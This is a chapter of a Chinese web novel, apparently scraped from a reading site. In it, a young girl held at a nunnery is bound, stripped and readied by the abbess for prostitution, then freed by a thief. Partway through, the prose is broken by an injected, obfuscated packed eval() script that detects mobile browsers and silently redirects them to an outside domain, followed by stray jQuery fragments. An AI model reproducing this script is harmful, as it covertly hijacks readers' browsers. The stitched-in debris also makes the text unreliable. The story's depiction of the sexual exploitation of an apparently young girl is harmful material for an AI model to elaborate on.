像梦里一样,她屏住呼吸,披着衣裳到门边,伸手戳破门上糊的纸。
外面天色一碧如洗,不染纤尘,墙角的树下,有四个人。
土挖了一半,杉木做的寿材摆在地上,四角垫着砖头。
慧静师太站在干净的屋檐下,指挥那三人将坑再挖深一点。
三个人想来是挖了很久,站在坑里,眼下只能望到光头。
不多时,几人爬了上来,大汗淋漓,一起用力将寿材放下去倒土填埋,从前到后,并无一人说话。
周围静悄悄的,叫她不由得忆起了方才的梦。
屋檐下有一道水迹,此刻已半干,真像是有谁来过。
缨宁想了一会儿,忽然间汗毛耸立,失了魂一般转过身,不妨撞见身后的观行。
那一刹脸贴着脸,眼对着眼,脑子里似乎有一根弦绷断了,她声音堵在喉咙里,一时竟失了声。
观行不知情,仍手忙脚乱捂住她的嘴,吓得大口喘气。
她“嘘”了一声,见缨宁失魂落魄的,却也听话,不由得松开手,自己凑在洞眼边上看。
外面土已填了小一半,天也亮透了,料到会有这一天,赶在慧静查房前,观行拉过缨宁,到床上将被子盖在头上,极小声地跟她说道:
“你别多管闲事,师兄这病拖了多日,想必是昨夜去了。你不要难过,她这是享福去了。”
缨宁不懂,为什么这是享福,更不懂自己为何会做那样的梦。
她开口想要告诉观行,但张开嘴,才发现说不出话来了。
“再睡个回笼觉,别怕。”
观行知道她胆小,拍了拍她的背。
缨宁埋在她怀里,隐隐察觉到,她瘦弱的身体有些发颤,像是冷得厉害。
她伸手学着观行的样子,两人依偎在一起,慧静师太进来查看时,就见到这一幕。
“都醒了!这般惫懒还怎么念经?”她挂着一张冷脸,将被掀开。
慧静看着女孩杂乱的头发,皱巴巴的衣裳,伸手替她扯了一把,然而,用力太过,却是将外面的中衣扯脱开来,露出一片白花花的肉。
她光看这张脸便觉得很不错了,现下里里外外都瞧一遍,愈发觉得是捡着了宝。有观行在一旁,左右一比,立分高下。
观瑛不在了,靠一个丫头片子过活不了,可巧观宁到了跟前。
这一定是天意。
慧静那双老眼里渗一点森森笑意,伸手将缨宁拉了起来。
“你师兄回家去了,那一头空着,屋要人住才有人气不至于荒废了,你等会去那头。”
缨宁摇着头,抱着自己,像一头犟驴。
慧静:“这么快就不听话了?昨天还跪下给我磕头呢。这山里有狼,不听话就丢出去喂狼。”
缩在床脚的少女依旧不肯挪动,慧静四下扫了一圈,先瞪着观行。
小丫头捂着嘴,眼珠子可怜地转了两下:“我可没有乱说话。新来的小师兄人本来就胆小。”
慧静于是到了屋里各个角落,连边边角角也不放过,最终在窗户的一角查到了一个戳破的洞。
外头的事已经被看见了。
她转过身,高大的身材像一座山,堵在跟前,那气势压得人喘不过气来。
“你被吓到了?”
观行忙点头。
慧静赏了一巴掌,将她的小光头当木鱼敲,观行疼得龇牙咧嘴,却又毫无办法。
她余光瞥着缨宁,心里哀叹一句,果然,下一秒就轮到缨宁了。
慧静爱惜缨宁的皮肉,于是只揪她的头发。
头皮像是要裂开来,缨宁紧闭着眼睛,伸手拉她的腕子,努力张嘴,发出吚吚呜呜的声音。
慧静停手:“哑巴了?”
她眼泪往下流,手上的动作乱七八糟谁也看不懂,见状,她寻来纸笔,将自己晨间做的梦写了出来,最后在纸上写了个歪歪斜斜的“鬼”字。
慧静一向有些忌讳,对着扭曲的字,脸色不对劲。
身后秋风刮过来,凉意顺着脚跟往上跑,她眉头一皱,狠狠夺下那张纸用力撕了个稀巴烂。
缨宁还是被拖走了,雨后的天气有些凉意,她穿着单衣,连鞋也没有,跌跌撞撞走过回廊,和尚已不见了踪迹。
慧静懒得装好,将缨宁随手丢在了那张死过人的床上,打来热水,将她擦洗一遍。想到老妈妈送她来时说的几句话,慧静又抽来绳索将她牢牢困住。
“小小年纪就知道勾引汉子,也是个没骨头的贱.货色。”
她贪婪地看着年轻的身体,检查一遍,见没了清白,顿时阴沉着脸,一巴掌扇了过去。
“不会说话也好,到了这里头,汉子有的是。”
缨宁脸上火辣辣的疼,此刻什么都明白了。
老夫人将她送到这里来,哪里是什么慈悲……
该怎么逃出去呢?
慧静像是看出她的心思:“你别想逃出这里,这里山路难走不说,附近村子都在十里开外,出了门就叫狼叼走。你不听话,老娘有的是法子整治你。”
她冷冷一笑,将那堆衣裳抱走。
凉意从四面八方袭来,缨宁冷的起鸡皮疙瘩,她漫无目的望着这间房。
观瑛将这里收拾的分外干净,纵是死了,也没有一点血迹。
也不知这老尼姑干了多少坏事,可怜观行还嬉皮笑脸地瞒着她。
原以为出了府哪里都去得,哪成想进了这里寸步难行。
月七郎知道自己被关在了这里吗?
缨宁心里酸涩,苦熬了一日,幸好老尼姑没给她喂水,否则就憋不住了。观行晚间提着小食盒来给她喂饭,见她这般屈辱模样,没有半点惊讶,想必也是经历过一遭。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16235053|181841||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“观宁,你只要听话,师父好吃好喝供着,倒比外头过得更自在。”
她从鸡汤里捞出一只大鸡腿喂给她,“我刚来时吃了好多苦,正因吃过了苦头,又真心喜欢你,适才说点真心话劝你,你千万别觉得我是她的说客。”
缨宁毫无胃口,心如死灰。
“你多少吃点罢,明日有个大香客要来,怕是要好一通折腾,你不吃点,怎么经受得住。”
缨宁隐隐知道她说什么,压低了眉,十分不愿。她动了动手脚,老尼姑捆的绳结巧,越挣扎越收紧,勒得肉疼。
她咬着牙,绞尽脑汁,然势单力薄,就凭她一个人,如何能挣脱这些?
缨宁随后用哀求的眼光看着她。
观行不为所动,只是一双溜黑的瞳仁里,一点火光在缓缓跳动。
“观宁,吃口肉。”
“没有力气,你怎么跟那个老尼姑斗?”她用筷子撕下肉,喂到她嘴边,极小声说道。
缨宁艰难吞咽着,看到她肿起来的脑袋,眼里泪止不住。
观行给她擦泪,嫌弃道:“你再哭我就走了!”
床上的少女连忙眨着眼,露出一个笑。
观行点头:“你明晚上也要这样。”
她按照老尼姑的吩咐劝好了缨宁,出了门,才发现天又下雨了。
雨落在身上黏黏糊糊,像是夜里在床上滚了一遭,她低头嗅了嗅自己,跟缨宁在一起,身上都是皂角香气,哪像那些臭男人。
不过等到明天,观宁也就跟自己一样了。
这一夜大雨冲干净了泥地上的脚印,东西院两个人都睡不着。
缨宁又冷又憋得慌,想要小解,可四下无人,老尼姑故意如此。她喊不出声音来,憋得头上冒冷汗,雷劈过,外面一瞬间亮如白昼。
一个人影又冒了出来。
她双腿打颤,无声喊着观瑛的名字。
像是受到召唤,那道影子真的过来了。骇人的雷声中,外面挂的大锁悄悄落下。
身着黑衣的贼悄无声息走进来,他身上干干净净,像是落雨之前便潜伏在了这里。
“救我。”
他看清了缨宁的口型,果然一双巧手解开了她的绳子。
最后一个绳结打开,手腕上粗糙的布条不慎擦到她的心口,柔软的身体落在怀里,她死死咬着牙,眼角还是因刺激滴出了泪。
小贼眉心有一点痣,见状,温柔说了声对不起。
他擦着泪,擦着擦着,手腕就被她一口咬住,可惜没什么力气,伴随着一阵淅淅沥沥的雨声,他总算舍得放开她了。
彼时缨宁已经空了脑袋,一双眼盯着他,心里生恨。
小贼笑了一笑,开口说了第一句话:
“你是观瑛?”
“有人央我来救你。可惜他的钱不够,只凑够了一半,所以——”